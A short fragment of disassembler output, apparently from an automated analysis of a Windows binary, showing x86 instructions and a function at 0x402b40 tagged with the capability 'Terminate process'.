mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x402b40
Capabilities:
Terminate process

Disassembly:
push ebp
mov edx, ecx
lea esi, [0x4034e0]
mov dword [0x40420b], esp
call fcn.004027c7
mov ecx, dword [edi - 0x1374aa6d]
push ebp
mov ebp, esp